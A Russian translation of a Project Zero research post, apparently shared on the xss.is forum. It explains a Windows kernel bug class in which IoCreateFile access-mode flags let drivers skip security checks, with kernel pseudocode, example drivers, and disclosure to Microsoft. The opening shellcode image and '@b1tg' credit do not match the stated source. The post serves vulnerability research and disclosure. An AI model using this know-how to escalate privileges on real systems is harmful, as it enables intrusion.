![запустить шеллкод](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fb1tg%2Frust- windows- shellcode%2Fraw%2Fmain%2Fimages%2Frun_shellcode.png&hash=6b9a0e843e27d1cad358c594399c7b98)
автор @b1tg
Это сообщение в статье представляет собой подробный обзор интересного класса логических ошибок в ядре Windows и того, что я сделал, чтобы попытаться исправить это с нашими партнерами в Microsoft. Максимальное влияние класса ошибки - это локальное повышение привилегий, если разработчики ядра и драйверов не принимают во внимание работу диспетчера ввода-вывода при доступе к объектам устройства. В этой статье рассказывается, как я обнаружил класс ошибки и техническую состовляющую. Для получения дополнительной информации о дальнейшем исследовании, исправлении и недопущении написания нового кода с классом ошибки смотрите сообщение в блоге MSRC ([https://blogs.technet.microsoft.com...-i-o-manager-a-variant-finding- collaboration/](https://blogs.technet.microsoft.com/srd/2019/03/14/local- privilege-escalation-via-the-windows-i-o-manager-a-variant-finding- collaboration/)).
Технические подробности
Впервые я наткнулся на класс ошибки, пытаясь эксплуатировать проблему 779 (https://bugs.chromium.org/p/project-zero/issues/detail?id=779). Эта проблема была связана с файлом TOCTOU, который обошел политику ограничения загрузки пользовательских шрифтов. Защитная политика была введена в Windows 10, чтобы ограничить воздействие уязвимостей, используемых для повреждения памяти шрифтов. Обычно было бы тривиально использовать проблему с TOCTOU файла, используя комбинацию символических ссылок файлов и Object Manager. Эксплойт, использующий символические ссылки, работал под обычным пользователем, но не внутри песочницы. Вместо того, чтобы тратить слишком много времени на эту незначительную проблему, я использовал ее без символических ссылок, используя каталоги теневых объектов, а Microsoft исправила ее как CVE-2016-3219. Я добавил заметку о неожиданном поведении в свой список тем, над которыми нужно работать позже.
Я решил вернуться назад и более подробно изучить неожиданное поведение. Код, который давал сбой, был похож на следующий:
C:Copy to clipboard
HANDLE OpenFilePath(LPCWSTR pwzPath) {
UNICODE_STRING Path;
OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE FileHandle;
NTSTATUS status;
RtlInitUnicodeString(&Path, pwzPath);
InitializeObjectAttributes(&ObjectAttributes,
&Path,
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE);
status = IoCreateFile(
&FileHandle,
GENERIC_READ,
&ObjectAttributes,
// ...
FILE_OPEN,
FILE_NON_DIRECTORY_FILE,
// ...
IO_NO_PARAMETER_CHECKING | IO_FORCE_ACCESS_CHECK);
if (NT_ERROR(status))
return NULL;
return FileHandle;
}
Когда этот код пытается открыть файл с символической ссылкой диспетчера объектов в пути, вызов IoCreateFile завершился ошибкой с STATUS_OBJECT_NAME_NOT_FOUND. Дальнейшие поиски привели меня к обнаружению источника ошибки в ObpParseSymbolicLink, которая выглядит следующим образом:
C:Copy to clipboard
NTSTATUS ObpParseSymbolicLink(POBJECT_SYMBOLIC_LINK Object,
PACCESS_STATE AccessState,
KPROCESSOR_MODE AccessMode) {
if (Object->Flags & SANDBOX_FLAG
&& !RtlIsSandboxedToken(AccessState->SubjectSecurityContext, AccessMode))
return STATUS_OBJECT_NAME_NOT_FOUND;
// ...
}
Неудачная проверка является частью мер по защите символических ссылок, которые Microsoft представила в Windows 10. Я создавал символическую ссылку внутри песочницы, которая устанавливала SANDBOX_FLAG в структуре объекта. Эта проверка выполняется при разборе символической ссылки при открытии файла шрифта. С установленным флагом песочницы ядро также вызывает RtlIsSandboxedToken, чтобы определить, находится ли вызывающий код по-прежнему внутри песочницы. Поскольку вызов для открытия файла шрифта находится в изолированном потоке процесса, RtlIsSandboxedToken должен вернуть TRUE, и функция продолжит работу. Вместо этого он возвращал FALSE, что заставляло ядро думать, что вызов исходил от более привилегированного процесса, и возвращал STATUS_OBJECT_NAME_NOT_FOUND для защиты от любой эксплуатации.
В этот момент я понял, что мой эксплойт не заработал, но не понял почему. В частности, я не понимал, почему RtlIsSandboxToken возвращает FALSE. Изучение функции дало мне важное понимание:
C:Copy to clipboard
BOOLEAN RtlIsSandboxedToken(PSECURITY_SUBJECT_CONTEXT SubjectSecurityContext,
KPROCESSOR_MODE AccessMode) {
NTSTATUS AccessStatus;
ACCESS_MASK GrantedAccess;
if (AccessMode == KernelMode)
return FALSE;
if (SeAccessCheck(
SeMediumDaclSd,
SubjectSecurityContext,
FALSE,
READ_CONTROL,
0,
NULL,
&RtlpRestrictedMapping,
AccessMode,
&GrantedAccess,
&AccessStatus)) {
return FALSE;
}
return TRUE;
}
Важным параметром является AccessMode, который имеет тип KPROCESSOR_MODE и может иметь одно из двух значений UserMode или KernelMode. Если для параметра AccessMode было задано значение KernelMode, функция автоматически вернет FALSE, указывая, что текущий вызывающий объект не находится в изолированной программной среде. Точка останова для этой функции в отладчике ядра подтвердила, что AccessMode был установлен на KernelMode при вызове из моего эксплойта. Если бы этот параметр всегда был установлен на KernelMode, как RtlIsSandboxToken когда-либо возвращал TRUE? Чтобы понять, как работает ядро, давайте более подробно рассмотрим, что представляет собой параметр AccessMode.
Предыдущий режим доступа
С каждым потоком в Windows связан предыдущий режим доступа. Этот предыдущий режим доступа сохраняется в элементе PreviousMode структуры KTHREAD. Доступ к члену осуществляется третьими сторонами с помощью ExGetPreviousMode, и он возвращает тип KPROCESSOR_MODE. Предыдущий режим доступа установлен на UserMode, если поток пользовательского режима выполняет код ядра из-за перехода системного вызова. В качестве примера на следующей диаграмме показан вызов из приложения пользовательского режима к системному вызову NtOpenFile через функцию-заглушку диспетчеризации системного вызова в NTDLL.
Обратите внимание, что предыдущий режим всегда установлен на UserMode, даже когда код выполняется внутри системного вызова NtOpenFile в пространстве памяти ядра. Напротив, KernelMode устанавливается, если поток является системным потоком (в системном процессе) или из-за перехода системного вызова из режима ядра. На следующей диаграмме показан переход, когда драйвер устройства (который уже работает в режиме ядра) вызывает системный вызов ZwOpenFile, что приводит к выполнению NtOpenFile.
На схеме приложение пользовательского режима вызывает функцию внутри драйвера устройства, например, используя системный вызов NtFsControlFile. Предыдущий режим равен UserMode во время вызова драйвера устройства. Однако, если драйвер устройства вызывает ZwOpenFile, ядро имитирует переход системного вызова, это приводит к изменению предыдущего режима на KernelMode и выполнению кода системного вызова NtOpenFile.
С точки зрения безопасности предыдущий режим доступа влияет на две важные, но принципиально разные проверки безопасности в ядре, проверку доступа к безопасности (SecAC) и проверку доступа к памяти (MemAC). SecAC используется для вызовов API, предоставляемых контрольным монитором безопасности, например SeAccessCheck или SePrivilegeCheck. Эти API безопасности используются, чтобы определить, есть ли у вызывающего пользователя права на доступ к ресурсу. Обычно API-интерфейсы принимают параметр AccessMode, если этот параметр имеет значение KernelMode, тогда проверки доступа проходят автоматически, что может быть уязвимостью безопасности, если пользователь обычно не может получить доступ к ресурсу. Мы уже видели этот вариант использования в RtlIsSandboxToken, API явно проверил, что AccessMode является KernelMode, и вернул FALSE. Даже без ярлыка при передаче KernelMode в SeAccessCheck вызов будет успешным независимо от токена доступа вызывающего кода, и RtlIsSandboxToken вернет FALSE.
MemAC используется для того, чтобы пользовательское приложение не могло передавать указатели на расположение адреса ядра. Если AccessMode - UserMode, тогда все адреса памяти, переданные системному вызову/операции, должны быть проверены на то, что они меньше MmUserProbeAddress или с помощью таких функций, как ProbeForRead ProbeForWrite. Опять же, если эта проверка неверна, может произойти повышение привилегий, поскольку пользователь может обманом заставить код ядра читать или записывать в привилегированные области памяти ядра. Обратите внимание, что не все API-интерфейсы ядра выполняют MemAC, например, SeAccessCheck предполагает, что вызывающий объект уже проверил параметры, параметр AccessMode используется только для определения необходимости обхода проверки безопасности.
Сохранение предыдущего режима доступа в потоке создает проблему, поскольку нет способа различить SecAC и MemAC для API ядра. API может намеренно отключить SecAC и случайно отключить MemAC, что приведет к проблемам с безопасностью, и наоборот. Давайте подробнее рассмотрим, как диспетчер ввода-вывода пытается решить эту проблему проверки несоответствия доступа.
Проверка доступа IO Manager
IO Manager предоставляет две основные группы API для прямого доступа к файлам. Первые API - это системные вызовы NtCreateFile/ZwCreateFile или NtOpenFile/ZwOpenFile. Системные вызовы в основном предназначены для использования приложениями пользовательского режима, но при необходимости могут быть вызваны из режима ядра. Другие API доступны только для вызывающих объектов режима ядра, IoCreateFile и IoCreateFileEx.
Если вы сравните реализации двух основных API, то обнаружите, что они представляют собой простые обертки для пересылки внутренней функции IopCreateFile. По умолчанию IopCreateFile использует предыдущий режим текущего потока, чтобы определить, следует ли выполнять MemAC и SecAC. Например, при вызове IopCreateFile через NtCreateFile из процесса пользовательского режима ядро выполняет MemAC и SecAC, поскольку предыдущим режимом будет UserMode. Если режим ядра вызывает ZwCreateFile, тогда для предыдущего режима устанавливается значение KernelMode, и SecAC и MemAC отключены.
IoCreateFile может быть вызван только из кода режима ядра, и здесь не задействован переход системных вызовов, поэтому любые вызовы будут использовать любой предыдущий режим, установленный в потоке. Если IoCreateFile вызывается из потока с предыдущим режимом, установленным на UserMode, это означает, что будут выполняться SecAC и MemAC. Применение MemAC особенно проблематично, поскольку это означает, что код ядра не может передавать указатели режима ядра в IoCreateFile, что очень затрудняет использование API. Однако вызывающий IoCreateFile не может просто изменить предыдущий режим потока на KernelMode, поскольку тогда SecAC будет отключен.
IoCreateFile решает эту проблему, указывая специальные флаги, которые можно передать с помощью параметра Options. Этот параметр пересылается в IopCreateFile, но не предоставляется через системный вызов NtCreateFile. Возвращаясь к нашей проблеме со шрифтом, WIN32K вызывает IoCreateFile и передает флаги параметров IO_NO_PARAMETER_CHECKING (INPC) и IO_FORCE_ACCESS_CHECK (IFAC).
INPC задокументирован как:
"[Если указаны] параметры для этого вызова не должны проверяться до попытки отправить запрос на создание. Создателям драйверов следует использовать этот флаг с осторожностью, поскольку некоторые недопустимые параметры могут вызвать сбой системы. Для получения дополнительной информации см. Примечания".
Click to expand...
В разделе примечаний INPC расширяется дальше:
"Флаг параметров IO_NO_PARAMETER_CHECKING может быть полезен, если драйвер выдает запрос на создание в режиме ядра от имени операции, инициированной приложением пользовательского режима. Поскольку запрос происходит в контексте пользовательского режима, диспетчер ввода-вывода по умолчанию проверяет предоставленные значения параметров, что может вызвать нарушение прав доступа, если параметры являются адресами режима ядра. Этот флаг позволяет вызывающему коду переопределить это поведение по умолчанию и избежать нарушения прав доступа".
Click to expand...
Это проясняет его цель, он отключает MemAC, позволяя коду ядра передавать указатели в память ядра в качестве параметров функции. В качестве побочного продукта он также отключает большую часть проверки параметров, таких как проверяемые несовместимые комбинации флагов. Существует отдельный, не задокументированный должным образом, флаг IO_CHECK_CREATE_PARAMETERS, который включает только проверку флага параметров, но не MemAC.
IFAC , с другой стороны, задокументирован как:
"Диспетчер ввода-вывода должен проверить запрос на создание по дескриптору безопасности файла".
Click to expand...
Это означает, что флаг повторно включает SecAC. Имеет смысл, если бы вызывающий код был системным потоком с предыдущим режимом, установленным на KernelMode, но зачем нам повторно включать SecAC, если мы вызываем из UserMode? В этом и кроется начало понимания исходного неожиданного поведения, как мы можем видеть в некотором упрощенном коде из IopCreateFile.
C:Copy to clipboard
NTSTATUS IopCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, ...,
ULONG Options) {
KPROCESSOR_MODE AccessMode;
if (Options & IO_NO_PARAMETER_CHECKING) {
AccessMode = KernelMode;
} else {
AccessMode = KeGetCurrentThread()->PreviousMode;
}
FILE_PARSE_CONTEXT ParseContext = {};
// Initialize other values
ParseContext->Options = Options;
return ObOpenObjectByName(
ObjectAttributes,
IoFileObjectType,
AccessMode,
NULL,
DesiredAccess,
&ParseContext,
&FileHandle);
}
Этот код показывает, что если указан INPC, то AccessMode для всех последующих вызовов устанавливается на KernelMode. Поэтому указание этой опции отключает не только MemAC, но и SecAC. Стоит отметить, что предыдущий режим потока не изменяется, только значение AccessMode, которое передается вперед в ObOpenObjectByName. IopCreateFile делегирует проверку указателя диспетчеру объектов, поэтому единственный способ добиться этого - отключить все проверки. Крайне важно, что IFAC не проверяется, он только передается внутри структуры контекста синтаксического анализа, с чем должен иметь дело остальной менеджер ввода-вывода.
Это еще не конец истории, также можно вызвать ZwCreateFile и передать специальный флаг OBJ_FORCE_ACCESS_CHECK (OFAC) внутри структуры OBJECT_ATTRIBUTES и обеспечить выполнение проверки доступа, даже если предыдущий режим доступа установлен на KernelMode. Поскольку вы не можете передать IFAC через ZwCreateFile, и в IopCreateFile не проверяется флаг OFAC, он должен быть в ObOpenObjectByName. На самом деле он немного глубже: сначала все параметры обрабатываются на основе AccessMode, переданного в ObOpenObjectByName, затем вызывается ObpLookupObjectName, который проверяет флаг OFAC, если он установлен, AccessMode принудительно возвращается в UserMode.
Теперь мы наконец можем понять, почему мы получили неожиданное поведение при открытии файла шрифта. Анализ символьной ссылки происходит внутри диспетчера объектов, а не диспетчера ввода-вывода, поэтому он не знает флаг IFAC. IopCreateFile сказал диспетчеру объектов выполнить все проверки, как если бы предыдущий режим доступа был KernelMode, поэтому это значение передается в ObpParseSymbolicLink, которое передается в RtlIsSandboxToken, что справедливо указывает на то, что он не запущен в изолированном процессе. Однако, как только файл действительно открывается, срабатывает флаг IFAC и гарантирует, что SecAC по-прежнему применяется к файлу. Если бы вызывающий код также указал OFAC, тогда символическая ссылка работала бы, поскольку синтаксический анализ происходил бы во время операции поиска, которая была принудительно установлена в UserMode.
Это само по себе является интересным результатом, по сути, любая операция, которая вызывается во время операции анализа диспетчера объектов, которая доверяет значению AccessMode, отключит проверки безопасности, если не указано OFAC. Однако это не та ошибка, о которой идет речь в этом блоге, для этого нам нужно углубиться, чтобы понять, как IFAC работает внутри IO Manager.
Разбор устройства ввода-вывода
Ответственность диспетчера объектов за открытие файла заканчивается, когда он находит именованный объект устройства в пространстве имен диспетчера объектов. Диспетчер объектов ищет функцию синтаксического анализа для типа устройства, которым является IopParseDevice, а затем передает всю информацию, о которой он знает. Это включает значение AccessMode, которое, как мы знаем, установлено на KernelMode, оставшийся путь для синтаксического анализа и буфер контекста синтаксического анализа, который включает параметр Options. Функция IopParseDevice выполняет некоторые собственные проверки безопасности, такие как проверка обхода устройства, выделяет новый пакет запроса ввода-вывода (IRP) и вызывает драйвер, ответственный за объект устройства.
Структура IRP содержит поле RequestorMode, которое отражает AccessMode файловой операции. Причина наличия поля RequestorMode заключается в том, что IRP может отправляться асинхронно. Поток, который обрабатывает операцию ввода- вывода, может не быть потоком, запустившим операцию ввода-вывода. Теперь вы можете догадаться, что именно здесь в игру вступает IFAC, возможно, менеджер ввода-вывода устанавливает RequestorMode в UserMode? Если вы действительно проверите это в драйвере ядра при доступе из IoCreateFile с помощью INPC, вы обнаружите, что в этом поле все еще установлено значение KernelMode, так что это не ответ.
Тип выполняемой операции и конкретные параметры операции передаются в структуре местоположения стека ввода-вывода, которая расположена сразу после структуры IRP. В случае открытия файла основным типом операции является IRP_MJ_CREATE, и используется поле Create структуры IO_STACK_LOCATION. Здесь на помощь приходит IFAC: если флаг указан для IopCreateFile, тогда в параметре Flags местоположения стека ввода-вывода будет установлен новый флаг SL_FORCE_ACCESS_CHECK (SFAC). Драйвер файловой системы должен убедиться, что он проверяет этот флаг, и не полагаться на то, что RequestorMode установлен в UserMode. Драйвер NTFS знает об этом и имеет следующий код:
C:Copy to clipboard
KPROCESSOR_MODE NtfsEffectiveMode(PIRP Irp) {
PIO_STACK_LOCATION loc = IoGetCurrentIrpStackLocation(Irp);
if (loc->MajorOperation == IRP_MJ_CREATE
&& loc->Flags & SL_FORCE_ACCESS_CHECK) {
return UserMode;
}
else {
return Irp->RequestorMode;
}
}
NtfsEffectiveMode вызывается любой операцией, которая будет выполнять функцию, связанную с безопасностью. Это гарантирует, что SecAC по-прежнему выполняется, даже если вызывающий объект находился в режиме ядра, пока был передан флаг IFAC. Драйвер файловой системы NTFS является фундаментальной частью ОС Windows и тесно взаимодействует с диспетчером ввода-вывода, поэтому неудивительно, что он знает, как поступать правильно. Однако в Windows все драйверы являются драйверами файловой системы, даже если они явно не реализуют файловую систему.
Я подумал, что было бы интересно узнать, сколько драйверов Microsoft и сторонних производителей действительно выполнили правильные проверки, или все они просто доверяли RequestorMode и основывали свои решения по безопасности на нем?
Определение класса ошибки
Наконец, мы должны определить класс ошибки. Для существования уязвимости, связанной с повышением привилегий, необходимо наличие двух отдельных компонентов.
- Инициатор режима ядра (код, вызывающий IoCreateFile или IoCreateFileEx), который устанавливает флаги INPC и IFAC, но не устанавливает OFAC. Это может быть драйвер или само ядро.
- Уязвимый Receiver, который использует RequestorMode во время обработки IRP_MJ_CREATE для принятия решения о безопасности, но не проверяет также флаги для SFAC.
В следующей таблице приводится сводка API, когда предыдущий режим вызывающего потока установлен на UserMode. Таблица включает в себя состояние опций ввода, INPC, IFAC и OFAC, а также соответствующий RequestorMode IRP и флаг SFAC. Я выделил, когда вызовы являются полезным инициатором.
Стоит отметить, что любые вызовы, в которые не передается IFAC, могут быть уязвимы для уязвимости привилегированного доступа к файлам, поскольку без сгенерированного флага SFAC даже NTFS не будет выполнять проверки безопасности. Есть и другие функции, похожие на IoCreateFile, такие как FltCreateFileEx, которые используются в особых случаях, но все они имеют похожие свойства. Также обратите внимание, что в таблице правила для IoCreateFileEx немного отличаются. Хотя это не задокументировано, IoCreateFileEx всегда передает параметр INPC в IopCreateFile, поэтому, если не указан флаг OFAC, он всегда будет выполнять свои операции с предыдущим режимом доступа, установленным на KernelMode.
Идеальный инициатор - это тот, который открывает произвольный путь от пользователя и предоставляет полный контроль над всеми параметрами IoCreateFile, а дескриптор открытого файла возвращается обратно в пользовательский режим. Однако в зависимости от приемника полный контроль может не требоваться.
Получатель может выполнить ряд действий при получении IRP. Общим для драйверов файловой системы является анализ оставшегося имени файла и выполнение на его основе некоторых дальнейших действий, таких как открытие другого файла. Другая возможность - разобрать блок расширенных атрибутов (EA) и выполнить какое-то действие на его основе. Возможно, открытие объекта устройства обычно требует проверки доступа, которую обходит установка RequestorMode на KernelMode.
Примеры
Вот несколько примеров, которые я нашел как инициаторов, так и получателей. Все это основано на коде, поставляемом с Windows 10 1709, что на две версии ниже того, что доступно сегодня (1809), но многие из этих примеров все еще существуют в последних версиях Windows, а также в Windows 7 и 8. Все примеры представляют собой код Microsoft, поэтому сторонний разработчик, вероятно, еще меньше понимает поведение системы.
Чтобы найти эти примеры, я не использовал никаких специальных инструментов статического анализа, вместо этого я просто искал их вручную. Я оставил более глубокое расследование Microsoft.
Получатели
Поиск получателей может быть намного сложнее, чем инициаторов, поскольку нет импортированной функции для поиска, которая дает четкий сигнал для поиска. Вместо этого я искал драйверы, которые импортировали IoCreateDevice, чтобы убедиться, что драйвер предоставляет какое-либо устройство. Затем я отфильтровал импортированные драйверы API-интерфейсы на те, которые принимали явный параметр AccessMode, например SeAccessCheck или ObReferenceObjectByHandle. Конечно, это не сильно ограничивало количество драйверов, поэтому в конечном итоге мне пришлось вручную проанализировать драйверы, которые выглядели наиболее интересными. В моем анализе "настоящие" драйверы файловой системы, такие как NTFS и FAT, всегда кажутся правильными.
Хотя этот драйвер не всегда включен, он используется для создания файлового объекта, который передает запросы на чтение /запись в приложение пользовательского режима с помощью APC. При создании нового объекта вы можете указать EA с информацией для создания файла Socket или Process. APC настраивается в функции CreateProcessFile на основе информации в EA. Драйвер использует RequestorMode без каких-либо дополнительных проверок, это позволит APC обратного вызова выполняться в режиме ядра. При создании файла процесса вы также передаете дескриптор потоку, который открывается для доступа THREAD_SET_CONTEXT для использования с APC. Установка KernelMode позволяет использовать дескрипторы ядра при вызове ObReferenceObjectByHandle, однако, поскольку поток должен находиться в вызывающем процессе, это не является большим преимуществом.
C:Copy to clipboard
NTSTATUS DispatchCreate(DEVICE_OBJECT* DeviceObject, PIRP Irp) {
PFILE_FULL_EA_INFORMATION ea = Irp->AssociatedIrp.SystemBuffer;
PIO_STACK_LOCATION loc = IoGetCurrentIrpStackLocation(Irp);
if (ea->EaNameLength != 7)
return STATUS_INVALID_PARAMETER;
if (!memcmp(ea->EaName, "NifsSct", 8))
return CreateSocketFile(lock->FileObject, Irp->RequestorMode, ea);
if (!memcmp(ea->EaName, "NifsPvd", 8))
return CreateProcessFile(lock->FileObject, Irp->RequestorMode, ea);
// ...
}
Чтобы эксплуатировать его, совместимый инициатор должен иметь возможность предоставить EA для файла процесса. Затем необходимо создать файл сокета, который ссылается на этот файл процесса, и выполнить операцию чтения/записи, чтобы заставить APC выполнить. В современных версиях Windows 10 вам также придется беспокоиться о SMEP и Kernel CFG. Если вы укажете подпрограмме APC на адрес пользовательского режима, ядро будет проверять ошибки, когда оно переходит на выполнение APC в режиме KernelMode, как показано на следующем снимке экрана, который я создал с помощью специального инициатора для настройки WS2IFSL.
Хотя NPFS правильно проверяет SFAC, он использует RequestorMode, чтобы определить, разрешено ли вызывающему коду указать произвольный блок EA. Обычно при открытии именованного канала драйвер записывает вызывающий PID и идентификатор сеанса. Затем эта информация может быть предоставлена через API, такие как GetNamedPipeClientProcessId. Если вызывающий код является UserMode, то коду не разрешено устанавливать блок EA, но если это KernelMode, можно использовать произвольный блок EA, что означает, что поля PID и идентификатора сеанса могут быть подделаны.
C:Copy to clipboard
NTSTATUS NpCreateClientEnd(PIRP Irp, ...) {
// ...
PFILE_FULL_EA_INFORMATION ea = Irp->AssociatedIrp.SystemBuffer;
PVOID Data;
SIZE_T Length;
if (!NpLocateEa(ea, "ClientComputerName", &Data, Length))
return STATUS_INVALID_PARAMETER;
if (!IsValidEaString(Data, Length) || Irp->RequestorMode != KernelMode)
return STATUS_INVALID_PARAMETER;
NpSetAttributeInList(Irp, CLIENT_COMPUTER_NAME, Data, Length);
NpLocateEa(ea, "ClientProcessId", Data, Length);
NpSetAttributeInList(Irp, CLIENT_PROCESS_ID, Data, Length);
NpLocateEa(ea, "ClientSessionId", Data, Length);
NpSetAttributeInList(Irp, CLIENT_SESSION_ID, Data, Length);
// ...
}
Такое поведение используется, чтобы позволить драйверу SMB установить поле имени компьютера и идентификатор сеанса. Если какой-то сервис доверяет этой информации, ее можно использовать для повышения привилегий. Чтобы эксплуатировать это, вы должны иметь возможность установить произвольный EA как KernelMode, а чтобы сделать что-нибудь интересное, вам потребуется доступ к открытому дескриптору.
Инициаторы
Чтобы найти инициаторов, я просмотрел ядро и драйверы для любых функций, которые вызывали IoCreateFile и другие, и провел базовую проверку параметров вызова для флагов параметров и атрибутов объектов. С подходящими кандидатами я смог более внимательно изучить, на какие параметры может влиять пользователь. Поиск инициаторов относительно тривиален, если вы понимаете класс ошибки, поскольку вы можете быстро сузить цели, просто просматривая импортированные вызовы целевых методов.
Класс NTOSKRNL NtSetInformationFile FileRenameInformation
При переименовании файла вы можете указать произвольный путь, даже если файл не может находиться на томе, отличном от исходного. Функция IopOpenLinkOrRenameTarget вызывается, чтобы сначала открыть целевой путь, используя IoCreateFileEx, передающий INPC и обычно IFAC (он также устанавливает IO_OPEN_TARGET_DIRECTORY, но это не важно для операции). Этот инициатор позволяет указать только полный путь.
Драйвер сервера SMBv2
Серверы SMB будут открывать файлы на общем ресурсе с помощью IoCreateFileEx, например, в Smb2CreateFile. Он указывает IFAC, но не INPC, потому что вызов выполняется в системном потоке, поэтому предыдущий режим доступа уже является KernelMode. Обычно невозможно перенаправить создание файла на произвольный путь диспетчера объектов NT, поскольку сервер передает относительный путь к дескриптору открытого тома. Хотя вы можете добавить точку монтирования в каталог в файловой системе и получить доступ к серверу локально, ядро намеренно ограничивает целевое устройство ограниченным набором типов.
C:Copy to clipboard
if (ParseContext->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT) {
switch (ParseContext->TargetDevice){
case FILE_DEVICE_DISK:
case FILE_DEVICE_CD_ROM:
case FILE_DEVICE_DISK:
case FILE_DEVICE_TAPE:
break;
default:
return STATUS_IO_REPARSE_DATA_INVALID;
}
}
В реализации была ошибка, которая позволяет обойти проверку устройства, которая позволяет использовать локальную точку монтирования для перенаправления сервера SMB для открытия любого файла устройства. Драйвер SMBv2 предъявляет особые требования к символическим ссылкам NTFS: он должен возвращать информацию о ссылках клиенту для обработки. Для поддержки символьной ссылки сервер передает флаг параметров IO_STOP_ON_SYMLINK, как показано ниже.
C:Copy to clipboard
NTSTATUS Smb2CreateFile(HANDLE VolumeHandle, PUNICODE_STRING Name, ...) {
// ...
int ReparseCount = 0;
OBJECT_ATTRIBUTES ObjectAttributes;
ObjectAttributes.RootDirectory = VolumeHandle;
ObjectAttributes.ObjectName = Name;
IO_STATUS_BLOCK IoStatus = {};
do {
status = IoCreateFileEx(
&FileHandle,
DesiredAccess,
&ObjectAttributes,
&IoStatus,
...
IO_STOP_ON_SYMLINK | IO_FORCE_ACCESS_CHECK
);
if (status == STATUS_STOPPED_ON_SYMLINK) {
UNICODE_STRING NewName;
status = SrvGraftName(ObjectAttributes.ObjectName,
(PREPARSE_DATA_BUFFER)IoStatus.Information, &NewName);
if (status == STATUS_STOPPED_ON_SYMLINK)
break;
ObjectAttributes.RootDirectory = NULL;
ObjectAttributes.ObjectName = NewName;
continue;
}
} while(ReparseCount++ < MAXIMUM_REPARSE_COUNT);
// ...
}
Если IoCreateFileEx возвращает STATUS_STOPPED_ON_SYMLINK, сервер извлекает возвращенную структуру REPARSE_DATA_BUFFER из IO_STATUS_BLOCK и передает ее служебной функции SrvGraftName. Буфер повторной обработки может быть либо точкой монтирования, либо символической ссылкой NTFS. Если это символическая ссылка, то SrvGraftName снова возвращает STATUS_STOPPED_ON_SYMLINK, что позволяет серверу вернуть буфер вызывающему коду. Если буфер повторного анализа является точкой монтирования, то SrvGraftName строит новый абсолютный путь только на основе строки, найденной в REPARSE_DATA_BUFFER, он не проверяет целевое устройство. Сервер повторно отправляет открытый запрос с новым абсолютным путем, который теперь может указывать на любое устройство в системе.
Этот инициатор был лучшим, что я нашел во время своего анализа. Вы можете указать почти все аргументы IoCreateFileEx, включая буфер EA. Это позволяет вам инициализировать драйвер, для которого требуется EA (например, WS2IFSL), который открывает гораздо больше возможностей для атак. Поскольку он выполняется в системном потоке, RequestorMode и предыдущий режим потока устанавливаются на KernelMode, что может привести к другой интересной поверхности для атаки.
Впечатляет, что это не идеальный инициатор, но открытое устройство должно поддерживать определенные допустимые IRP, такие как IRP_MJ_GET_INFORMATION_FILE, в противном случае сервер не вернет действительный дескриптор вызывающему коду. Без этой проверки было бы тривиально использовать WS2IFSL, поскольку вы могли бы выполнить операцию чтения/записи, чтобы заставить APC выполняться в режиме ядра. Даже если вы можете вернуть дескриптор файла, сервер SMB намеренно ограничивает коды управления вводом-выводом, которые вы можете отправлять, что ограничивает многие интересные вещи, которые вы могли бы сделать с этой уязвимостью. Несмотря на это, я посчитал это серьезной проблемой, поэтому сообщил об этом непосредственно в MSRC. Баг был исправлен как CVE-2018-0749 с использованием специального параметра Extra Creation Parameter, который отфильтровывает все другие точки повторной обработки, кроме символических ссылок.
Следующие шаги
Хотя я считал, что это серьезный класс ошибок, оказалось, что найти подходящую пару инициатор/получатель было очень сложно. В своем исследовании я не нашел ни одной пары, которая дала бы прямую эскалацию привилегий. Лучшая пара, которую я обнаружил, - это сочетание инициатора SMBv2 с подделкой идентификатора процесса NPFS. Хотя мне не удалось идентифицировать службу, которая будет использовать PID клиента для какой-либо операции, связанной с безопасностью, вполне возможно, что существует сторонняя служба.
Я мог бы снова добавить эту проблему в свой список интересных или неожиданных действий, чтобы посмотреть, смогу ли я использовать ее позже. Но вместо этого я решил поговорить со своими контактами в MSRC, чтобы узнать, можем ли мы сотрудничать. Вместе с MSRC я написал документ, объясняющий класс ошибки и описывающий некоторые из моих выводов. В то же время я сообщил о проблеме с сервером SMB по обычным каналам, поскольку это была самая серьезная проблема, которую я обнаружил. Это привело к встречам с различными командами на Bluehat 2017 в Редмонде, где был сформирован план для Microsoft использовать доступ к исходному коду, чтобы обнаружить степень этого класса ошибок в ядре Windows и базе кода драйверов. Обратите внимание, у меня не было доступа к исходному коду, эта часть расследования была делегирована MSRC, результаты которого опубликованы в их блоге.
Стоит отметить, что хотя я применил стандартный 90-дневный крайний срок раскрытия к отчету, я не применил явный крайний срок к отчету о классе ошибок. Без единой ошибки, на которую можно было бы указать, было бы сложно и, вероятно, непродуктивно обеспечить соблюдение такого срока. Однако я убедился, что MSRC согласилась опубликовать технические подробности по этому вопросу независимо от результата. Вот почему мы пишем об этом сейчас, через 12 месяцев после предоставления отчета.
Заключение
Всегда интересно найти новый класс ошибок в Windows, за которым можно будет
охотиться.
По счастливой случайности все обернулось не так серьезно, как могло бы быть.
Хотя было бы разумно указать два отдельных режима доступа, один для MemAC и
один для SecAC, это не то, что использовалось в исходной конструкции NT. Для
обратной совместимости маловероятно, что поведение будет изменено. Этот класс
ошибок связан как с плохой документацией, так и с техническими проблемами,
поскольку, хотя поведение нельзя изменить, оно также плохо документировано.
Если вы посмотрите документацию по IoCreateFile, вы увидите новое примечание:
"Для запросов на создание, исходящих из пользовательского режима, если драйвер устанавливает и IO_NO_PARAMETER_CHECKING, и IO_FORCE_ACCESS_CHECK в параметре Options IoCreateFile, тогда он также должен установить OBJ_FORCE_ACCESS_CHECK в параметре ObjectAttributes.
Для получения информации об этом флаге смотри член в OBJECT_ATTRIBUTES".Click to expand...
Это замечание было добавлено совсем недавно. В большинстве документации для разработчиков Microsoft на GitHub вы даже можете найти этот коммит.
Вполне вероятно, что любые ошибки, обнаруженные MSRC, будут исправлены только в последних версиях Windows 10, поэтому, если вы разработчик, вам следует прочитать сообщение в блоге Microsoft, чтобы понять, как избежать этих проблем в ваших драйверах, а также способы обнаружения этимх различные проблемы в вашей кодовой базе. Исследователям в области безопасности следует помнить о другом, когда вы рассматриваете новый драйвер ядра Windows.
Я хотел бы поблагодарить Стивена Хантера и Гэвина Томаса из MSRC, которые были моими основными контактными лицами для исправления этого класса ошибок.
Источник: <https://googleprojectzero.blogspot.com/2019/03/windows-kernel-
logic-bug-class-access.html>
Автор перевода: yashechka
Переведено специально для
https://xss.is
